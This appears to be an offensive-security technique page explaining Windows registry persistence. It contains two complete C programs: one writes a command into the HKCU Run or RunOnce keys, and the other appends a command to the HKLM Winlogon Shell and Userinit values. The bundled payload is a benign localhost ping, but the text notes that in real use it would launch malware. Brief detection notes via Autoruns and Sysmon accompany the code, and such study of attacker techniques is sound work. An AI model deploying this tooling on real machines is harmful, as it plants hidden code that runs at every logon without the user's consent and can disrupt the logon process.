Peristence-Windows-Registry
What is it?
Writes a command into a Windows registry Run or RunOnce key under the current user’s hive (HKCU). The OS executes whatever is stored in these keys automatically at user logon — no admin rights needed, no scheduled task, no service installation.
How it works
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
wmain() presents a menu:
1 → Write to Run key (executes every login)
2 → Write to RunOnce key (executes once, then system deletes it)
SetRegistryKey(hRootKey, pszSubKey, pszSubName, pszRegData):
dwDataLength = (lstrlenW(pszRegData) + 1) * sizeof(WCHAR)
RegCreateKeyExW(
HKEY_CURRENT_USER,
"Software\Microsoft\Windows\CurrentVersion\Run", ← or RunOnce
KEY_SET_VALUE,
&hKey
)
Creates the key if it doesn't exist, opens it if it does.
RegSetValueExW(
hKey,
L"N0xshell", ← value name (visible in regedit)
REG_SZ,
L"cmd.exe /k ping 127.0.0.1 -n 3" ← the command that will run
)
RegCloseKey(hKey)
What gets written to the registry:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
N0xshell = "cmd.exe /k ping 127.0.0.1 -n 3"
Next user logon:
Windows reads this key
Executes: cmd.exe /k ping 127.0.0.1 -n 3
(or whatever payload path was set here)
Run vs RunOnce:
Run → persists across reboots, runs every login forever
RunOnce → runs once at next login, then Windows deletes the value automatically
The hardcoded command cmd.exe /k ping 127.0.0.1 -n 3 is just a benign test payload — in a real scenario this would be the path to the malware binary or a payload launcher.
HKCU requires no elevated privileges, which makes it the most accessible persistence location. The tradeoff is it only applies to the current user’s session — if the target user account logs in, it runs; other accounts on the same machine are unaffected. HKLM\...\Run covers all users but requires admin rights.
Detection: Autoruns.exe shows all Run/RunOnce entries at a glance and highlights new or unsigned entries. Sysmon Event ID 13 logs registry value sets and would capture this write with the key path, value name, and data.
main.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
/*
Run / RunOnce registry keys are well known to be used by legitimate software.
- Run registry -> Executes everytime the user logs on
- RunOnce registry -> Executes a single time and are removed by the system after successful execution
*/
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#define VALUE_NAME L"N0xshell"
#define COMMAND_LINE L"cmd.exe /k ping 127.0.0.1 -n 3"
#define REG_PATH_RUN L"Software\\Microsoft\\Windows\\CurrentVersion\\Run"
#define REG_PATH_RUNONCE L"Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce"
/*
Creates the specified registry subkey (creates it if it does not exist)
hRootKey -> Defines root registry hive to be used
pszSubKey -> Defines subkey path
pszSubName -> Defines value name
pszRegData -> Defines the data stored inside the value
*/
BOOL SetRegistryKey(_In_ HKEY hRootKey, _In_ LPCWSTR pszSubKey, _In_ LPCWSTR pszSubName, _In_ LPCWSTR pszRegData) {
HKEY hKey = NULL;
DWORD dwDataLength = 0;
LSTATUS STATUS = ERROR_SUCCESS;
// Check if parameters are filled
if (!hRootKey || !pszSubKey || !pszSubName || !pszRegData)
return FALSE;
// Setup buffer for command
dwDataLength = (lstrlenW(pszRegData) + 1) * sizeof(WCHAR);
// Open / create registry key
STATUS = RegCreateKeyExW(hRootKey, pszSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE, NULL, &hKey, NULL);
if (STATUS != ERROR_SUCCESS) {
printf("[!] RegCreateKeyExW Failed: 0x%0.8X\n", STATUS);
goto _CleanUp;
}
// Set registry value with our ping command
STATUS = RegSetValueExW(hKey, pszSubName, 0, REG_SZ, (PBYTE)pszRegData, dwDataLength);
if (STATUS != ERROR_SUCCESS) {
printf("[!] RegSetValueExW Failed: 0x%0.8X\n", STATUS);
goto _CleanUp;
}
_CleanUp:
if (hKey)
RegCloseKey(hKey);
return (STATUS == ERROR_SUCCESS) ? TRUE : FALSE;
}
int wmain(void) {
int choice = 0;
printf("1. Write to Run key\n");
printf("2. Write to RunOnce key\n");
printf("0. Exit\n");
printf("=============================================\n");
printf("Select option: ");
if (scanf_s("%d", &choice) != 1) {
printf("[-] Invalid input.\n");
return 1;
}
switch (choice) {
case 1:
printf("\n[*] Writing benign Run key (HKCU)...\n");
if (SetRegistryKey(HKEY_CURRENT_USER, REG_PATH_RUN, VALUE_NAME, COMMAND_LINE)) {
printf("[+] Run key written successfully.\n");
}
else {
printf("[-] Failed to write Run key.\n");
}
break;
case 2:
printf("\n[*] Writing benign RunOnce key (HKCU)...\n");
if (SetRegistryKey(HKEY_CURRENT_USER, REG_PATH_RUNONCE, VALUE_NAME, COMMAND_LINE)) {
printf("[+] RunOnce key written successfully.\n");
}
else {
printf("[-] Failed to write RunOnce key.\n");
}
break;
case 0:
printf("[*] Exiting...\n");
break;
default:
printf("[-] Invalid choice.\n");
return 1;
}
return 0;
}
main.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
/*
Winlogon registry keys are commonly abused for persistence.
- Shell -> Replaces / appends to the default shell (explorer.exe)
- Userinit -> Appends to the userinit.exe chain executed at logon
Both keys live under:
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
Requires Administrator privileges.
*/
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include <strsafe.h>
#define VALUE_SHELL L"Shell"
#define VALUE_USERINIT L"Userinit"
#define COMMAND_LINE L"cmd.exe /k ping 127.0.0.1 -n 3"
#define REG_PATH_WINLOGON L"Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon"
/*
Creates / opens the specified registry subkey and sets a REG_SZ value.
hRootKey -> Root registry hive
pszSubKey -> Subkey path
pszSubName -> Value name
pszRegData -> Data to write
*/
BOOL SetRegistryKey(_In_ HKEY hRootKey, _In_ LPCWSTR pszSubKey, _In_ LPCWSTR pszSubName, _In_ LPCWSTR pszRegData)
{
HKEY hKey = NULL;
DWORD dwDataLength = 0;
LSTATUS STATUS = ERROR_SUCCESS;
if (!hRootKey || !pszSubKey || !pszSubName || !pszRegData)
return FALSE;
dwDataLength = (lstrlenW(pszRegData) + 1) * sizeof(WCHAR);
STATUS = RegCreateKeyExW(hRootKey, pszSubKey, 0, NULL, REG_OPTION_NON_VOLATILE,
KEY_SET_VALUE, NULL, &hKey, NULL);
if (STATUS != ERROR_SUCCESS)
{
printf("[!] RegCreateKeyExW Failed: 0x%0.8X\n", STATUS);
goto _CleanUp;
}
STATUS = RegSetValueExW(hKey, pszSubName, 0, REG_SZ, (PBYTE)pszRegData, dwDataLength);
if (STATUS != ERROR_SUCCESS)
{
printf("[!] RegSetValueExW Failed: 0x%0.8X\n", STATUS);
goto _CleanUp;
}
_CleanUp:
if (hKey)
RegCloseKey(hKey);
return (STATUS == ERROR_SUCCESS) ? TRUE : FALSE;
}
/*
Reads the current value of a registry key (REG_SZ / REG_EXPAND_SZ).
Caller is responsible for freeing the returned buffer with HeapFree.
*/
BOOL ReadRegistryValue(_In_ HKEY hRootKey, _In_ LPCWSTR pszSubKey, _In_ LPCWSTR pszValueName, _Out_ LPWSTR* ppszData)
{
HKEY hKey = NULL;
DWORD dwType = 0;
DWORD dwDataLength = 0;
LPWSTR pszBuffer = NULL;
LSTATUS STATUS = ERROR_SUCCESS;
if (!pszSubKey || !pszValueName || !ppszData)
return FALSE;
*ppszData = NULL;
STATUS = RegOpenKeyExW(hRootKey, pszSubKey, 0, KEY_QUERY_VALUE, &hKey);
if (STATUS != ERROR_SUCCESS)
{
printf("[!] RegOpenKeyExW Failed: 0x%0.8X\n", STATUS);
goto _CleanUp;
}
// Query size
STATUS = RegQueryValueExW(hKey, pszValueName, NULL, &dwType, NULL, &dwDataLength);
if (STATUS != ERROR_SUCCESS)
{
printf("[!] RegQueryValueExW (size) Failed: 0x%0.8X\n", STATUS);
goto _CleanUp;
}
if (dwType != REG_SZ && dwType != REG_EXPAND_SZ)
{
printf("[!] Unexpected registry type: %lu\n", dwType);
goto _CleanUp;
}
pszBuffer = (LPWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwDataLength);
if (!pszBuffer)
{
printf("[!] HeapAlloc Failed: %lu\n", GetLastError());
goto _CleanUp;
}
STATUS = RegQueryValueExW(hKey, pszValueName, NULL, &dwType, (PBYTE)pszBuffer, &dwDataLength);
if (STATUS != ERROR_SUCCESS)
{
printf("[!] RegQueryValueExW Failed: 0x%0.8X\n", STATUS);
goto _CleanUp;
}
*ppszData = pszBuffer;
_CleanUp:
if (hKey)
RegCloseKey(hKey);
if (!*ppszData && pszBuffer)
HeapFree(GetProcessHeap(), 0, pszBuffer);
return (*ppszData) ? TRUE : FALSE;
}
/*
Builds the new value by appending the payload to the existing data.
Handles the trailing comma correctly.
*/
BOOL BuildWinlogonValue(_In_ LPCWSTR pszCurrentValue, _In_ LPCWSTR pszPayload, _Out_ LPWSTR pszOutput, _In_ SIZE_T cchOutput)
{
BOOL bHasTrailingComma = FALSE;
if (!pszCurrentValue || !pszPayload || !pszOutput || cchOutput == 0)
return FALSE;
bHasTrailingComma = (pszCurrentValue[lstrlenW(pszCurrentValue) - 1] == L',');
if (bHasTrailingComma)
return SUCCEEDED(StringCchPrintfW(pszOutput, cchOutput, L"%s%s", pszCurrentValue, pszPayload));
else
return SUCCEEDED(StringCchPrintfW(pszOutput, cchOutput, L"%s,%s", pszCurrentValue, pszPayload));
}
int wmain(void)
{
int choice = 0;
LPWSTR pszCurrentValue = NULL;
WCHAR szFinalValue[2048] = { 0 };
printf("1. Append to Shell key\n");
printf("2. Append to Userinit key\n");
printf("0. Exit\n");
printf("=============================================\n");
printf("Select option: ");
if (scanf_s("%d", &choice) != 1)
{
printf("[-] Invalid input.\n");
return 1;
}
switch (choice)
{
case 1:
printf("\n[*] Reading current Shell value...\n");
if (!ReadRegistryValue(HKEY_LOCAL_MACHINE, REG_PATH_WINLOGON, VALUE_SHELL, &pszCurrentValue))
{
printf("[-] Failed to read Shell value.\n");
break;
}
printf("[i] Current: %ws\n", pszCurrentValue);
if (!BuildWinlogonValue(pszCurrentValue, COMMAND_LINE, szFinalValue, 2048))
{
printf("[-] Failed to build new value.\n");
break;
}
printf("[*] Writing new Shell value...\n");
if (SetRegistryKey(HKEY_LOCAL_MACHINE, REG_PATH_WINLOGON, VALUE_SHELL, szFinalValue))
printf("[+] Shell key updated successfully.\n");
else
printf("[-] Failed to update Shell key.\n");
break;
case 2:
printf("\n[*] Reading current Userinit value...\n");
if (!ReadRegistryValue(HKEY_LOCAL_MACHINE, REG_PATH_WINLOGON, VALUE_USERINIT, &pszCurrentValue))
{
printf("[-] Failed to read Userinit value.\n");
break;
}
printf("[i] Current: %ws\n", pszCurrentValue);
if (!BuildWinlogonValue(pszCurrentValue, COMMAND_LINE, szFinalValue, 2048))
{
printf("[-] Failed to build new value.\n");
break;
}
printf("[*] Writing new Userinit value...\n");
if (SetRegistryKey(HKEY_LOCAL_MACHINE, REG_PATH_WINLOGON, VALUE_USERINIT, szFinalValue))
printf("[+] Userinit key updated successfully.\n");
else
printf("[-] Failed to update Userinit key.\n");
break;
case 0:
printf("[*] Exiting...\n");
break;
default:
printf("[-] Invalid choice.\n");
return 1;
}
if (pszCurrentValue)
HeapFree(GetProcessHeap(), 0, pszCurrentValue);
return 0;
}